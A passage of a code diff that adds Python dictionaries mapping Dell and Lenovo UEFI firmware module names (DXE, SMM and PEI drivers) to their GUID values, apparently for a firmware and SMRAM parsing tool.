16960, 147, 168, 172, 153, 233, 169, 41, 252], + "DELL_DXE_HWM_DRIVER_GUID": [2189636628, 51444, 19298, 171, 106, 228, 213, 218, 171, 19, 15], + "DELL_PXE_UNDI_ROM_GUID": [2197545579, 21460, 17551, 146, 76, 123, 224, 18, 110, 202, 79], + "DELL_PW_BY_PASS_SMM_GUID": [2209781945, 520, 20175, 187, 131, 206, 66, 208, 190, 252, 74], + "DELL_HOT_KEY_HANDLER_SMM_GUID": [2221392131, 28662, 19814, 134, 246, 225, 18, 76, 17, 30, 148], + "DELL_POWER_MANAGEMENT_DXE_GUID": [2224624263, 16368, 20428, 156, 17, 199, 224, 65, 134, 44, 118], + "DELL_AC_RECOVERY_SMM_GUID": [2239859116, 3786, 18022, 186, 184, 153, 114, 64, 153, 83, 200], + "DELL_SMM_SIO_DASH_GUID": [2277981212, 5417, 20213, 163, 250, 8, 215, 62, 248, 200, 39], + "DELL_SMM_EVENT_DXE_GUID": [2295339961, 9338, 18166, 187, 110, 187, 164, 159, 17, 36, 248], + "DELL_SETUP_PREP_GUID": [2308179927, 39422, 17368, 154, 33, 121, 236, 50, 140, 172, 33], + "DELL_DXE_PREREQ_GUID": [2311005263, 58729, 16751, 177, 16, 138, 229, 239, 213, 23, 28], + "DELL_SPI_PART_ST_MICRO_GUID": [2325708028, 23548, 17807, 152, 111, 188, 61, 27, 167, 172, 137], + "DELL_DIAGS_LEGACY_GUID": [2337444691, 8140, 19136, 161, 33, 144, 190, 159, 156, 191, 122], + "DELL_ACPI_PLATFORM_GUID": [2338306749, 62751, 18754, 191, 22, 22, 170, 163, 138, 229, 43], + "DELL_POWER_MANAGEMENT_GUID": [2356689264, 61482, 19021, 175, 9, 135, 151, 165, 30, 236, 141], + "DELL_AHCI_SMM_GUID": [2364933421, 33107, 17247, 171, 164, 17, 75, 106, 63, 181, 61], + "DELL_ME_PLATFORM_CONFIG_DXE_GUID": [2368893290, 24799, 19422, 134, 71, 61, 23, 140, 200, 43, 108], + "DELL_PCI_HOST_BRIDGE_GUID": [2372359865, 58718, 19818, 163, 165, 94, 77, 114, 221, 247, 114], + "DELL_SMM_SERVICES_GUID": [2379094359, 55156, 20442, 185, 15, 11, 35, 28, 178, 224, 204], + "DELL_MOD_BAY_CONFIG_GUID": [2384466983, 17978, 19748, 160, 244, 37, 168, 117, 246, 27, 170], + "DELL_SERVICE_RESET_SMM_GUID": [2395179049, 42399, 16611, 186, 208, 133, 248, 21, 161, 87, 209], + "DELL_EC_CONFIG_DXE_GUID": [2395213747, 16901, 19799, 144, 57, 161, 146, 131, 44, 124, 237], + "DELL_ERROR_HANDLER_DXE_GUID": [2403573131, 1970, 16673, 170, 149, 138, 201, 21, 113, 170, 117], + "DELL_DEFAULT_BOOT_LIST_DXE_GUID": [2403573131, 1970, 16673, 170, 149, 138, 201, 21, 113, 255, 255], + "DELL_AHCISRC_GUID": [2405051906, 21388, 19801, 185, 32, 196, 120, 106, 203, 197, 82], + "DELL_SB_ACCESS_SMM_GUID": [2411212196, 50110, 17062, 138, 112, 123, 148, 214, 9, 114, 166], + "DELL_IMG_SRV_BASE_ROM_GUID": [2419529971, 22365, 19868, 188, 120, 101, 161, 19, 129, 160, 38], + "DELL_SMART_TIMER_GUID": [2429253083, 29180, 18589, 170, 207, 148, 52, 119, 236, 114, 18], + "DELL_PBA_FP_DXE_GUID": [2444894238, 5665, 18172, 130, 90, 176, 54, 62, 202, 212, 188], + "DELL_HECI_SMM_GUID": [2451363715, 15906, 17785, 167, 31, 0, 215, 65, 151, 252, 200], + "DELL_SMM_COMPUTRACE_GUID": [2462551630, 51604, 20382, 130, 171, 175, 29, 186, 104, 88, 201], + "DELL_FILE_SYSTEM_GUID": [2466393996, 7945, 18415, 187, 178, 88, 20, 255, 96, 157, 245], + "DELL_DIRTY_SHUTDOWN_DXE_GUID": [2474053840, 61200, 17086, 146, 225, 132, 148, 114, 43, 23, 181], + "DELL_SB_ACPI_CONFIG_GUID": [2492620721, 61172, 16877, 189, 122, 205, 176, 74, 170, 129, 199], + "DELL_TCG_SETUP_GUID": [2498613546, 16795, 17535, 148, 52, 155, 59, 112, 120, 57, 3], + "DELL_SERVICE_RESET_DXE_GUID": [2537284199, 2400, 16583, 152, 86, 250, 115, 201, 42, 70, 186], + "DELL_BIOS_EXTENSION_LOADER_GUID": [2546758024, 31177, 17567, 185, 105, 6, 91, 100, 191, 156, 105], + "DELL_HOT_SOS_DXE_DRIVER_GUID": [2564335444, 33922, 18146, 130, 140, 187, 99, 47, 52, 217, 247], + "DELL_SM_BIOS_STRUC_DE_GUID": [2573047489, 26193, 18096, 191, 62, 131, 192, 23, 180, 59, 29], + "DELL_SB_SMM_HOOKS_GUID": [2577523701, 2183, 17351, 176, 10, 241, 74, 100, 107, 193, 66], + "DELL_BBSMANAGER_DXE_GUID": [2595435247, 33241, 17361, 134, 122, 3, 221, 87, 78, 133, 102], + "DELL_GSET_CONFIG_GUID": [2599541285, 61548, 17339, 190, 136, 131, 69, 80, 191, 118, 91], + "DELL_MULTI_DISPLAY_DXE_GUID": [2617192461, 54855, 18446, 159, 243, 32, 6, 211, 215, 204, 198], + "DELL_AMI_BOARD_INFO_GUID": [2671378454, 44629, 17032, 130, 157, 210, 47, 211, 68, 195, 71], + "DELL_DA_NON_VOLITILE_STORAGE_GUID": [2679520249, 46370, 16899, 154, 83, 32, 236, 133, 74, 49, 42], + "DELL_DXE_MAIN_GUID": [2681197550, 14531, 19119, 149, 18, 236, 65, 99, 113, 246, 74], + "DELL_SIO_POLICY_CONFIG_DXE_GUID": [2688661718, 16151, 17794, 170, 199, 90, 97, 86, 114, 226, 149], + "DELL_CSMCORE_GUID": [2690830111, 33907, 19107, 135, 147, 96, 11, 196, 255, 233, 168], + "DELL_HDD_PW_SMM_GUID": [2696445586, 25490, 18430, 154, 160, 144, 32, 49, 71, 236, 4], + "DELL_SMM_CONTROL_GUID": [2696600055, 43896, 18715, 181, 131, 197, 43, 127, 132, 185, 224], + "DELL_PCI_EXPRESS_DXE_GUID": [2711597294, 1524, 19670, 143, 40, 89, 183, 130, 255, 149, 198], + "DELL_SPI_PART_SST_GUID": [2726778251, 55773, 17947, 169, 41, 236, 42, 210, 254, 245, 145], + "DELL_SPI_CONTROLLER_DXE_GUID": [2742722115, 36983, 17721, 155, 144, 189, 113, 155, 3, 43, 35], + "DELL_SMB_FACT_DEFAULT_GUID": [2748922409, 20507, 20334, 134, 154, 111, 212, 188, 239, 144, 167], + "DELL_SMM_SIO_GPIO_CONTROL_GUID": [2806725359, 9474, 16581, 131, 169, 53, 36, 119, 98, 115, 234], + "DELL_IMAGE_SERVER_SMM_GUID": [2812134215, 57012, 19022, 132, 151, 202, 95, 142, 127, 6, 1], + "DELL_PBA_MGR_DXE_GUID": [2813554127, 51034, 19432, 190, 47, 228, 132, 12, 190, 22, 59], + "DELL_IMAGE_SERVER_DXE_GUID": [2821932058, 3232, 16434, 133, 154, 60, 255, 123, 102, 70, 167], + "DELL_LOM_CONFIG_GUID": [2826249488, 55358, 16394, 133, 222, 253, 21, 135, 136, 42, 254], + "DELL_LEGACY_USB_SMM_GUID": [2829252321, 28514, 19707, 158, 71, 147, 207, 214, 214, 228, 118], + "DELL_AMT_SMBIOS_GUID": [2831577685, 57385, 19226, 150, 142, 236, 166, 233, 193, 28, 115], + "DELL_TCG_MOR_GUID": [2906746083, 42115, 17841, 148, 194, 75, 78, 77, 87, 85, 98], + "DELL_DO_SIODIAG_LED_DXE_GUID": [2907311365, 32877, 20452, 150, 173, 59, 214, 45, 140, 76, 224], + "DELL_AUDIO_DXE_GUID": [2921628957, 58388, 16482, 149, 157, 95, 67, 234, 153, 54, 60], + "DELL_FV_MAINNESTED_GUID": [2926672943, 6722, 20267, 136, 97, 120, 183, 156, 160, 126, 7], + "DELL_SMM_CRYPTO_ALGORITHM_GUID": [2951172549, 1492, 18584, 191, 148, 26, 75, 80, 243, 95, 212], + "DELL_PCH_SMI_DISPATCHER_GUID": [2966875475, 47172, 17397, 189, 47, 97, 9, 82, 100, 231, 126], + "DELL_SMBIOS64_GUID": [2973687096, 26700, 16877, 163, 5, 215, 183, 227, 36, 151, 223], + "DELL_AMITSE_GUID": [2983856863, 20343, 16496, 168, 142, 191, 254, 28, 96, 82, 154], + "DELL_DXE_DELAY_GUID": [3021497697, 35175, 16659, 188, 95, 40, 75, 118, 112, 196, 160], + "DELL_LEG_USB_MEM_INFO_DXE_GUID": [3025887172, 54950, 17699, 162, 41, 231, 119, 32, 151, 239, 20], + "DELL_SECURITY_CONFIG_GUID": [3072249106, 57374, 17419, 170, 82, 77, 110, 89, 212, 91, 60], + "DELL_SMB_VERSION_MANIFEST_GUID": [3108097809, 58952, 16412, 146, 161, 52, 42, 112, 198, 183, 66], + "DELL_SMBIOSUPDATE_DATA_GUID": [3112802724, 59759, 18266, 153, 252, 118, 33, 38, 245, 15, 90], + "DELL_PCH_RESET_GUID": [3139419471, 11824, 18323, 155, 237, 116, 246, 114, 188, 143, 254], + "DELL_SATA_CONTROLLER_GUID": [3143996459, 21023, 20163, 186, 249, 169, 37, 64, 207, 96, 210], + "DELL_ALERT_STANDARD_FORMAT_SMM_GUID": [3146232605, 62310, 18409, 136, 94, 232, 22, 176, 155, 151, 182], + "DELL_AHCI_SMM_GUID": [3157411261, 47490, 20309, 159, 121, 5, 106, 215, 233, 135, 197], + "DELL_DA_TAA_MAC_GUID": [3165370077, 16031, 18402, 184, 251, 16, 179, 154, 246, 52, 44], + "DELL_HOT_KEY_HANDLER_DXE_GUID": [3166386450, 10746, 19237, 182, 25, 60, 13, 115, 159, 239, 81], + "DELL_CMOS_MANAGER_DXE_SRC_GUID": [3175457368, 51133, 19440, 178, 84, 208, 212, 94, 2, 248, 119], + "DELL_DXE_GPIO_CONTROL_GUID": [3184242748, 21598, 17345, 138, 168, 240, 88, 196, 250, 129, 168], + "DELL_DT_LEG_USB_POLICY_GUID": [3186172457, 63909, 18583, 129, 228, 139, 171, 103, 146, 163, 149], + "DELL_PXE_BASE_ROM_GUID": [3187322150, 19839, 17574, 135, 25, 55, 94, 203, 74, 164, 7], + "DELL_SMI_VARIABLE_GUID": [3189861288, 14532, 17717, 166, 202, 93, 202, 91, 67, 173, 223], + "DELL_POWER_BUTTON_DXE_GUID": [3207045736, 62313, 17314, 178, 149, 36, 45, 238, 127, 60, 41], + "DELL_ACTIVE_BIOS_GUID": [3218447682, 65039, 16977, 183, 114, 75, 9, 138, 26, 236, 133], + "DELL_D010_ALEGACY_VIDEO_ROM_GUID": [3233357934, 46763, 19952, 179, 214, 40, 106, 199, 102, 152, 189], + "DELL_SMM_DIAG_LEDS_GUID": [3238698573, 48564, 19226, 130, 204, 217, 1, 248, 111, 87, 57], + "DELL_FLASH_WRITE_PROTECT_GUID": [3242472502, 47444, 17338, 130, 120, 193, 228, 66, 194, 21, 57], + "DELL_LEGACY_INTERRUPT_GUID": [3250854137, 22813, 17948, 130, 162, 185, 205, 150, 223, 234, 134], + "DELL_SAVE_MEMORY_CONFIG_DXE_GUID": [3289668034, 41601, 16595, 179, 10, 43, 157, 255, 63, 61, 160], + "DELL_SPI_PART_WINBOND_GUID": [3291682642, 35756, 20266, 169, 195, 65, 138, 223, 176, 51, 196], + "DELL_DA_ASSET_TAG_GUID": [3301417385, 54841, 17453, 179, 88, 9, 208, 106, 225, 139, 252], + "DELL_IDE_RCONTROLLER_GUID": [3304247303, 14333, 16941, 182, 61, 126, 215, 56, 134, 230, 202], + "DELL_PBA_USH_GUID": [3327848673, 33459, 16746, 143, 10, 221, 208, 211, 9, 140, 88], + "DELL_LEGACY_TCG_SUPPORT_GUID": [3330062921, 46022, 19642, 150, 113, 191, 39, 136, 113, 33, 40], + "DELL_SMB_STRUC_B2_CONFIG_GUID": [3350273852, 35305, 17503, 169, 114, 103, 27, 139, 23, 88, 13], + "DELL_TDT_AM_GUID": [3356510302, 53484, 20120, 170, 181, 18, 12, 126, 85, 68, 40], + "DELL_HOT_KEYS_CONFIG_GUID": [3361833421, 45964, 18909, 161, 118, 125, 195, 89, 24, 22, 169], + "DELL_SMM_EVENT_SMM_GUID": [3363683096, 39645, 16853, 128, 215, 76, 141, 121, 90, 217, 66], + "DELL_DASH_CONFIG_GUID": [3365727239, 50414, 17420, 191, 197, 162, 47, 67, 55, 47, 34], + "DELL_SMM_MULTI_PLATFORM_GUID": [3386494532, 28813, 20007, 185, 137, 227, 90, 51, 153, 156, 40], + "DELL_RUNTIME_GUID": [3418725450, 14394, 16875, 168, 238, 68, 152, 174, 165, 103, 228], + "DELL_SM_BIOS_STRUC_D2_GUID": [3435955970, 48488, 17841, 130, 55, 199, 221, 0, 76, 219, 55], + "DELL_CSP_LIB_DXE_GUID": [3448002092, 26724, 16547, 160, 129, 200, 211, 94, 130, 185, 32], + "DELL_TCG_SMM_GUID": [3451984617, 487, 17099, 136, 235, 253, 255, 216, 129, 152, 147], + "DELL_SMBIOS_BOARD_GUID": [3472264294, 1707, 20403, 163, 237, 95, 250, 136, 91, 87, 37], + "DELL_SMM_BASE_GUID": [3496160400, 45015, 17554, 177, 134, 37, 124, 99, 20, 60, 97], + "DELL_SLP_MARKER_CTRL_GUID": [3511775422, 54546, 18580, 184, 99, 157, 14, 111, 245, 197, 97], + "DELL_THROTTLING_DRIVER_GUID": [3564284724, 36385, 17219, 139, 255, 1, 236, 222, 41, 35, 117], + "DELL_TERMINAL_PLATFORM_POLICY_GUID": [3567753741, 46717, 20099, 142, 251, 69, 89, 36, 55, 41, 52], + "DELL_DIAGS_SMM_GUID": [3568703808, 29611, 18597, 158, 38, 83, 164, 202, 74, 44, 55], + "DELL_HDD_SMART_SMM_GUID": [3592121466, 25914, 17833, 138, 243, 99, 168, 165, 7, 102, 57], + "DELL_PCH_POLICY_INIT_DXE_GUID": [3601615554, 35778, 19677, 135, 118, 40, 14, 20, 105, 222, 2], + "DELL_NB_CONFIG_DXE_GUID": [3607159740, 17041, 18249, 135, 175, 67, 42, 2, 61, 230, 88], + "DELL_I_AMTDXE_GUID": [3610900841, 64301, 19394, 175, 231, 8, 19, 39, 211, 254, 222], + "DELL_AMT_WRAPPER_DXE_GUID": [3615264781, 41415, 16837, 185, 137, 12, 61, 55, 252, 164, 50], + "DELL_PHYSICAL_PRESENCE_GUID": [3629795852, 11891, 17553, 146, 225, 220, 239, 195, 136, 42, 104], + "DELL_SMM_GPIO_CONTROL_GUID": [3644366586, 11418, 18070, 139, 182, 252, 95, 57, 141, 141, 243], + "DELL_SM_BIOS_STRUC_D9_GUID": [3654093472, 49679, 18448, 153, 158, 217, 145, 253, 4, 132, 217], + "DELL_STORAGE_AGENTS_SMM_GUID": [3661961974, 35025, 20439, 184, 110, 68, 188, 71, 238, 31, 126], + "DELL_SMB_BBS_INFO_GUID": [3698353148, 57373, 18287, 155, 243, 222, 1, 8, 132, 188, 83], + "DELL_SM_BIOS_STRUC_B2_GUID": [3701255400, 35886, 20455, 158, 65, 225, 140, 117, 254, 155, 102], + "DELL_TDT_DXE_GUID": [3702147936, 16527, 19373, 153, 185, 184, 128, 212, 239, 9, 80], + "DELL_SA_INIT_DXE_GUID": [3726879982, 53077, 20406, 170, 119, 152, 74, 181, 61, 232, 17], + "DELL_PCH_INIT_DXE_GUID": [3726879982, 53077, 20406, 170, 119, 152, 74, 181, 61, 232, 35], + "DELL_SMBIOS_GET_FLASH_DATA64_GUID": [3738670445, 32288, 20256, 145, 161, 25, 4, 57, 176, 77, 91], + "DELL_IDE_DXE_GUID": [3741056122, 52226, 16933, 136, 173, 60, 65, 230, 33, 120, 91], + "DELL_MFG_MODE_DXE_DRIVER_GUID": [3756519012, 54525, 17444, 191, 31, 133, 218, 82, 66, 54, 251], + "DELL_DA_OWNER_TAG_GUID": [3757369032, 9036, 17726, 169, 45, 250, 80, 94, 144, 213, 57], + "DELL_DA_BFA_GUID": [3761655790, 5184, 19009, 173, 62, 80, 224, 177, 6, 168, 61], + "DELL_CPU_DXE_GUID": [3761945311, 58678, 20104, 179, 160, 183, 127, 120, 235, 52, 254], + "DELL_PCH_SMBUS_DXE_GUID": [3763525798, 8778, 19506, 141, 55, 46, 10, 225, 98, 54, 77], + "DELL_DA_PASSWORDS_GUID": [3775216056, 7221, 19332, 133, 147, 129, 85, 93, 6, 93, 213], + "DELL_SLP_CONFIG_GUID": [3805262678, 14761, 18811, 182, 177, 149, 185, 210, 235, 40, 23], + "DELL_DXE_SB_GPIO_CONTROL_GUID": [3808813313, 37178, 19025, 142, 14, 180, 97, 140, 93, 179, 38], + "DELL_SMB_DA_TOKENS_CONFIG_GUID": [3816052554, 10975, 17371, 167, 120, 136, 167, 95, 192, 128, 38], + "DELL_OEM_BADGING_SUPPORT_GUID": [3818072628, 22313, 20260, 159, 177, 215, 64, 155, 69, 106, 21], + "DELL_SMM_CIRC_BUFF_GUID": [3823991841, 40376, 18375, 142, 125, 125, 185, 127, 226, 6, 62], + "DELL_POWER_BUTTON_GUID": [3848712343, 17272, 18527, 145, 208, 28, 9, 124, 25, 12, 226], + "DELL_ASF_TABLE_GUID": [3877971919, 20571, 19280, 153, 205, 163, 36, 103, 250, 74, 164], + "DELL_RUNTIME_ACPI_SMM_GUID": [3883815845, 42424, 17884, 186, 235, 102, 200, 111, 26, 200, 17], + "DELL_TAGS_CONFIG_GUID": [3892811838, 54118, 16585, 132, 106, 14, 215, 230, 2, 44, 150], + "DELL_SM_BIOS_STRUC_FAN_GUID": [3916771658, 5220, 16671, 133, 228, 4, 29, 144, 60, 182, 196], + "DELL_SMM_ASF_INIT_GUID": [3950562942, 16647, 20213, 134, 203, 34, 232, 216, 172, 73, 80], + "DELL_SM_BIOS_STRUC_D8_GUID": [3973583987, 1331, 18500, 188, 119, 72, 240, 222, 39, 81, 155], + "DELL_SM_BIOS_MEMORY_GUID": [3986920450, 62325, 17558, 146, 211, 131, 180, 60, 184, 167, 106], + "DELL_S3_RESUME_GUID": [4023800524, 3737, 16624, 150, 192, 224, 140, 8, 144, 112, 252], + "DELL_DXE_DIAG_LEDS_GUID": [4040744618, 50325, 16697, 177, 252, 120, 183, 1, 104, 38, 10], + "DELL_WARM_BOOT_SMM_GUID": [4043307108, 33876, 18149, 159, 43, 207, 20, 240, 164, 26, 72], + "DELL_BOOT_SCRIPT_SMI_HANDLER_GUID": [4053894950, 64889, 19957, 163, 38, 226, 11, 140, 196, 107, 6], + "DELL_TPM_SMM_GUID": [4078416539, 32201, 16660, 144, 134, 215, 19, 126, 244, 241, 24], + "DELL_DXE_SIO_EMI_GUID": [4078728889, 2901, 17494, 153, 254, 80, 169, 197, 236, 17, 108], + "DELL_GT2_LEGACY_VIDEO_ROM_GUID": [4132371130, 53417, 17091, 181, 232, 57, 27, 72, 100, 123, 241], + "DELL_SM_BIOS_STRUC_THERM_GUID": [4140673760, 45825, 16898, 137, 246, 134, 35, 230, 174, 210, 110], + "DELL_VIDEO_CONFIG_DXE_GUID": [4158125896, 52446, 18463, 155, 134, 46, 245, 237, 172, 194, 29], + "DELL_SMB_RUN_ROM_GUID": [4173021602, 18526, 19357, 136, 207, 21, 30, 98, 248, 77, 222], + "DELL_BBSMANAGER_SMM_GUID": [4178613140, 58787, 20065, 177, 104, 220, 52, 213, 52, 69, 30], + "DELL_PHYSICAL_PRESENCE_SMM_GUID": [4181065499, 45040, 16627, 183, 122, 183, 149, 167, 167, 215, 20], + "DELL_ME_LOCAL_FW_UPDATE_DXE_GUID": [4182422346, 32873, 19103, 173, 8, 149, 52, 239, 55, 217, 190], + "DELL_PCI_SERIAL_GUID": [4212403097, 57175, 18123, 188, 105, 11, 248, 88, 167, 52, 249], + "DELL_PCH_SERIAL_GPIO_GUID": [4229658176, 13414, 19462, 177, 204, 28, 147, 83, 148, 181, 194], + "DELL_SMI_CPU_DECODE_GUID": [4236726303, 63239, 18850, 182, 118, 119, 113, 125, 217, 4, 220], + "DELL_SMM_S3_GUID": [160950128, 30062, 16697, 191, 63, 127, 194, 163, 8, 23, 126], + "DELL_CPU_PEI_BEFORE_MEM_GUID": [357936371, 48391, 18053, 182, 104, 168, 105, 69, 164, 18, 77], + "DELL_WDT_PEI_GUID": [495502658, 40439, 16970, 170, 144, 2, 182, 31, 40, 105, 56], + "DELL_PEI_HWM_INIT_GUID": [572352352, 19136, 19474, 186, 150, 156, 99, 228, 217, 193, 200], + "DELL_CPU_PEI_GUID": [733327273, 65331, 16763, 132, 151, 203, 119, 60, 43, 147, 191], + "DELL_AUDIO_CONFIG_PEI_GUID": [862772714, 43816, 19532, 159, 100, 95, 224, 57, 31, 235, 184], + "DELL_TCG_PEI_GUID": [882417038, 37642, 19093, 171, 4, 46, 108, 253, 255, 102, 49], + "DELL_MEMORY_INIT_GUID": [994242391, 5843, 17611, 134, 50, 159, 219, 6, 180, 20, 81], + "DELL_ALERT_STANDARD_FORMAT_PEI_GUID": [1044912125, 10050, 17233, 181, 159, 145, 73, 50, 128, 50, 156], + "DELL_AMT_CONFIG_PEI_GUID": [1240117670, 44847, 16484, 155, 41, 217, 101, 91, 59, 141, 237], + "DELL_OP_PRESENCE_GUID": [1340568296, 65086, 16518, 182, 56, 140, 73, 60, 73, 4, 136], + "DELL_START_WATCH_DOG_GUID": [1417273500, 11892, 18459, 137, 248, 176, 23, 46, 56, 141, 31], + "DELL_ERROR_HANDLER_PEI_GUID": [1495580163, 40408, 19371, 128, 143, 194, 28, 171, 254, 11, 75], + "DELL_PCH_SMBUS_ARP_DISABLED_GUID": [1681782647, 62226, 17133, 129, 204, 27, 31, 87, 225, 138, 214], + "DELL_PCH_USB_GUID": [1800395730, 18401, 18953, 186, 142, 142, 4, 31, 32, 139, 149], + "DELL_TCG_PEI2_GUID": [1894142482, 62381, 18783, 179, 161, 122, 99, 84, 46, 215, 213], + "DELL_SB_POWER_OFF_PEI_GUID": [2035578841, 6022, 19850, 139, 137, 63, 167, 98, 63, 126, 248], + "DELL_CMOS_MANAGER_PEI_SRC_GUID": [2104986061, 64800, 19461, 165, 121, 145, 37, 61, 94, 61, 158], + "DELL_MFG_MODE_PEI_DRIVER_GUID": [2180037874, 61869, 19934, 158, 91, 117, 235, 52, 39, 171, 196], + "DELL_CORE_PEI_GUID": [2456312131, 55312, 18431, 161, 18, 204, 132, 144, 119, 106, 31], + "DELL_HECI_PEI_GUID": [2633171749, 56412, 17750, 168, 176, 116, 33, 92, 95, 127, 196], + "DELL_AUDIO_PEI_GUID": [2698503429, 24020, 17497, 164, 211, 54, 17, 149, 99, 196, 249], + "DELL_FLASH_UPDATE_PEI_GUID": [2726198370, 9375, 19323, 189, 92, 128, 114, 2, 3, 93, 236], + "DELL_WARM_BOOT_PEI_GUID": [2977490346, 2166, 16906, 180, 15, 227, 155, 78, 110, 224, 91], + "DELL_PEI_MAIN_GUID": [2981029912, 47449, 18555, 167, 149, 22, 194, 165, 76, 179, 110], + "DELL_DO_SIODIAG_LED_PEI_GUID": [3062824394, 48866, 19446, 184, 110, 69, 220, 60, 203, 254, 60], + "DELL_PCH_ME_UMA_GUID": [3064115187, 30332, 22104, 195, 122, 209, 200, 46, 247, 101, 67], + "DELL_PEI_DIAG_LEDS_GUID": [3355234115, 22617, 19134, 188, 181, 76, 22, 38, 237, 139, 3], + "DELL_TXT_PEI_GUID": [3399321111, 54866, 16443, 182, 197, 186, 71, 87, 1, 22, 173], + "DELL_TXT_CONFIG_PEI_GUID": [3451279361, 18765, 18222, 166, 168, 175, 245, 183, 110, 141, 31], + "DELL_PEI_SIO_EMI_GUID": [3493973952, 30320, 17242, 165, 18, 244, 92, 146, 59, 40, 93], + "DELL_SYSTEM_ID_CONFIG_PEI_GUID": [3733609004, 55176, 18427, 160, 181, 32, 202, 142, 88, 223, 236], + "DELL_NB_CONFIG_PEI_GUID": [3844102995, 38744, 17579, 164, 77, 219, 59, 228, 29, 103, 66], + "DELL_DIRTY_SHUTDOWN_PEI_GUID": [3848613761, 60425, 18332, 186, 255, 231, 86, 241, 130, 144, 22], + "DELL_SIO_POLICY_CONFIG_PEI_GUID": [3880245503, 6036, 18630, 150, 215, 164, 25, 217, 198, 15, 17], + "DELL_ACLOSS_PEI_GUID": [3919974292, 31371, 17850, 156, 50, 52, 133, 82, 107, 87, 22], + "DELL_SB_CONFIG_PEI_GUID": [3921022868, 31243, 18637, 156, 136, 132, 132, 82, 108, 87, 25], + "DELL_VIDEO_CONFIG_PEI_GUID": [4133865501, 61406, 19295, 136, 232, 33, 96, 183, 72, 210, 180], + "DELL_EC_CONFIG_PEI_GUID": [4219737527, 60030, 20077, 147, 129, 0, 92, 59, 209, 218, 215], + "DELL_SA_INIT_PEIM_GUID": [4246956775, 1937, 18628, 178, 158, 41, 189, 238, 225, 168, 17], + "DELL_PCH_INIT_PEIM_GUID": [4246956775, 1937, 18628, 178, 158, 41, 189, 238, 225, 168, 56], +} diff --git a/tools/amd_smram_parser/efiguids/efiguids_lenovo.py b/tools/amd_smram_parser/efiguids/efiguids_lenovo.py new file mode 100644 index 0000000..6d672c5 --- /dev/null +++ b/tools/amd_smram_parser/efiguids/efiguids_lenovo.py @@ -0,0 +1,658 @@ + +GUIDs = { + "LENOVO_SYSTEM_USB_SWITCH_DXE_GUID": [1293931, 8600, 17393, 147, 186, 42, 126, 215, 177, 225, 204], + "LENOVO_SYSTEM_SCSI_BUS_DXE_GUID": [23579844, 53495, 20257, 163, 239, 158, 100, 183, 205, 206, 139], + "LENOVO_SYSTEM_AHCI_BUS_DXE_GUID": [23579844, 53495, 20257, 163, 239, 158, 100, 183, 205, 206, 140], + "LENOVO_MNP_DXE_BIN_GUID": [39567303, 59049, 19339, 130, 173, 104, 21, 161, 174, 175, 74], + "LENOVO_ISSC_SMM_GUID": [62871161, 22345, 19397, 165, 63, 71, 71, 29, 167, 103, 200], + "LENOVO_EC_IO_SMM_GUID": [65788747, 38586, 20288, 131, 41, 127, 58, 168, 134, 87, 7], + "LENOVO_EN25_QH32_FLASH_PART_DXE_GUID": [85592951, 49254, 17936, 153, 4, 191, 37, 194, 150, 214, 230], + "LENOVO_MTM_FORMAT_SMM_GUID": [104351088, 5760, 17952, 157, 0, 106, 217, 227, 204, 177, 159], + "LENOVO_DXE_RICOH_INIT_GUID": [110529390, 63008, 20109, 166, 166, 82, 85, 35, 84, 221, 117], + "LENOVO_SECURITY_VARIABLE_DXE_GUID": [115245642, 42210, 17045, 163, 246, 3, 179, 254, 245, 177, 9], + "LENOVO_IBEX_PEAK_FLASH_CONTROLLER_DXE_GUID": [119797899, 33039, 20036, 146, 160, 165, 200, 59, 67, 54, 152], + "LENOVO_BOARD_INFO_SMM_GUID": [124839840, 39994, 18844, 163, 17, 47, 131, 133, 8, 5, 86], + "LENOVO_SYSTEM_METRONOME_DXE_GUID": [128529162, 62279, 4564, 154, 73, 0, 144, 39, 63, 193, 77], + "LENOVO_SLP2_DXE_GUID": [142514016, 8117, 18935, 135, 154, 133, 61, 43, 33, 76, 199], + "LENOVO_CRYPT_SERVICE_SMM_GUID": [150721327, 34431, 17707, 177, 52, 112, 81, 97, 247, 51, 51], + "LENOVO_SYSTEM_SCSI_DISK_DXE_GUID": [174514978, 14144, 19662, 173, 98, 189, 23, 44, 236, 202, 53], + "LENOVO_SYSTEM_USB_SWITCH_SMM_GUID": [191532512, 25217, 16546, 142, 154, 9, 241, 161, 138, 109, 64], + "LENOVO_EC_FW_UPDATE_DXE_GUID": [205090762, 27610, 18965, 182, 163, 166, 250, 69, 68, 189, 183], + "LENOVO_SETUP_UNDER_OS_DXE_GUID": [224691302, 14013, 17094, 178, 135, 124, 59, 170, 37, 117, 192], + "LENOVO_BDS_CTRL_GUID": [266426805, 1903, 19510, 191, 38, 215, 36, 242, 131, 18, 82], + "LENOVO_SYSTEM_FIRMWARE_DEVICE_DXE_GUID": [269784614, 21891, 17252, 130, 47, 164, 89, 184, 18, 19, 2], + "LENOVO_EC_IO_DXE_GUID": [290235916, 55653, 19475, 190, 247, 196, 6, 34, 72, 225, 250], + "LENOVO_SYSTEM_SMM_AHCI_ASPI_LEGACY_RT_GUID": [306851450, 6473, 18494, 137, 159, 96, 50, 144, 76, 160, 167], + "LENOVO_BOOT_MENU_DXE_GUID": [308966957, 22360, 20426, 133, 49, 32, 26, 127, 87, 248, 80], + "LENOVO_FP_PBA_GUID": [317155615, 7918, 20180, 135, 147, 105, 226, 128, 29, 96, 42], + "LENOVO_SYSTEM_EBC_DXE_GUID": [330067408, 29648, 4564, 176, 107, 0, 170, 0, 189, 109, 231], + "LENOVO_SYSTEM_SMM_SERVICES_SMM_GUID": [352631419, 22776, 19730, 150, 56, 180, 148, 167, 4, 67, 118], + "LENOVO_EC_SERVICE_GUID": [365429572, 63872, 19445, 170, 160, 191, 190, 2, 122, 239, 22], + "LENOVO_SECURE_FLASH_VERIFY_SMM_GUID": [366827126, 9849, 20004, 156, 170, 133, 178, 45, 216, 147, 235], + "LENOVO_EN25_QH128_FLASH_PART_SMM_GUID": [386766184, 51561, 20385, 165, 51, 219, 103, 121, 191, 190, 98], + "LENOVO_COMPUTRACE_SMI_SERVICES_GUID": [408391285, 53363, 16899, 144, 210, 135, 136, 168, 113, 228, 77], + "LENOVO_SMM_VIDEO_INT10_GUID": [431419749, 30805, 17128, 170, 111, 35, 97, 202, 135, 224, 36], + "LENOVO_TCP_DXE_BIN_GUID": [444482664, 12117, 19030, 144, 60, 1, 38, 94, 183, 98, 43], + "LENOVO_SYSTEM_BOOT_SCRIPT_SAVE_DXE_GUID": [476786607, 55485, 17617, 169, 30, 115, 33, 180, 194, 243, 209], + "LENOVO_EAIA_DXE_GUID": [488641077, 12096, 20412, 134, 80, 133, 2, 9, 45, 98, 171], + 